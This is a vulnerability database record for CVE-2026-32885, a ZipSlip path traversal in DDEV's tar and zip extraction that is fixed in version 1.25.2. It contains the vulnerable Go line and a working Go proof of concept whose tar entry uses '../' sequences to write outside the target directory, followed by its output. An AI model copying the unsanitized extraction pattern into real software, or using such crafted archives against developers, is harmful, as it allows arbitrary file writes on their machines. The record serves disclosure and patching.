{"id":"CVE-2026-32885","aliases":["CVE-2026-32885","GHSA-x2xq-qhjf-5mvg","GO-2026-5735"],"related":[],"kind":"vulnerability","state":"published","title":"DDEV has ZipSlip path traversal in tar and zip archive extraction","summary":"DDEV is an open-source tool for running local web development environments for PHP and Node.js. Versions prior to 1.25.2 have unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. Downloads and extracts archives from remote sources without path validation. Version 1.25.2 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"DDEV is an open-source tool for running local web development environments for PHP and Node.js. Versions prior to 1.25.2 have unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. Downloads and extracts archives from remote sources without path validation. Version 1.25.2 patches the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction — mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(&buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(&tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, &buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE — file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n> **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research","format":"markdown","source":"ghsa"},{"lang":"en","text":"DDEV has ZipSlip path traversal in tar and zip archive extraction in github.com/ddev/ddev","format":"markdown","source":"go"},{"lang":"es","text":"DDEV es una herramienta de código abierto para ejecutar entornos de desarrollo web locales para PHP y Node.js. Las versiones anteriores a la 1.25.2 tienen extracción no saneada tanto en las funciones ’Untar()’ como ’Unzip()’ en ’pkg/archive/archive.go’. Descarga y extrae archivos de fuentes remotas sin validación de ruta. La versión 1.25.2 soluciona el problema.","source":"nvd"}],"published":"2026-04-22T16:54:47.880Z","modified":"2026-11-11T23:10:00.263Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.25.2","status":"affected"}],"vendor":"ddev","product":"ddev","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.25.2"}],"ecosystem":"Go","package":"github.com/ddev/ddev","purl":"pkg:golang/github.com/ddev/ddev","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.25.2"}],"ecosystem":"Go","package":"github.com/ddev/ddev","purl":"pkg:golang/github.com/ddev/ddev","source":"go"},{"ranges":[{"status":"affected","fixed":"1.25.2"}],"vendor":"ddev","product":"ddev","cpe":"cpe:2.3:a:ddev:ddev:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/ddev/ddev/releases/tag/v1.25.2","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32885","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/ddev/ddev/pull/8213","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/ddev/ddev","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-22T18:25:23.835Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32885","url":"https://www.cve.org/CVERecord?id=CVE-2026-32885","licence":"CVE Terms of Use","modified":"2026-04-22T18:35:36.170Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x2xq-qhjf-5mvg","url":"https://github.com/advisories/GHSA-x2xq-qhjf-5mvg","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:35.167Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5735","url":"https://pkg.go.dev/vuln/GO-2026-5735","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:42.711Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32885","licence":"Public domain","modified":"2026-11-11T23:10:00.263Z"}],"updatedAt":"2026-11-25T22:59:19.322Z","epss":{"score":0.0041,"percentile":0.37364,"date":"2026-12-01T12:00:22.000Z"}}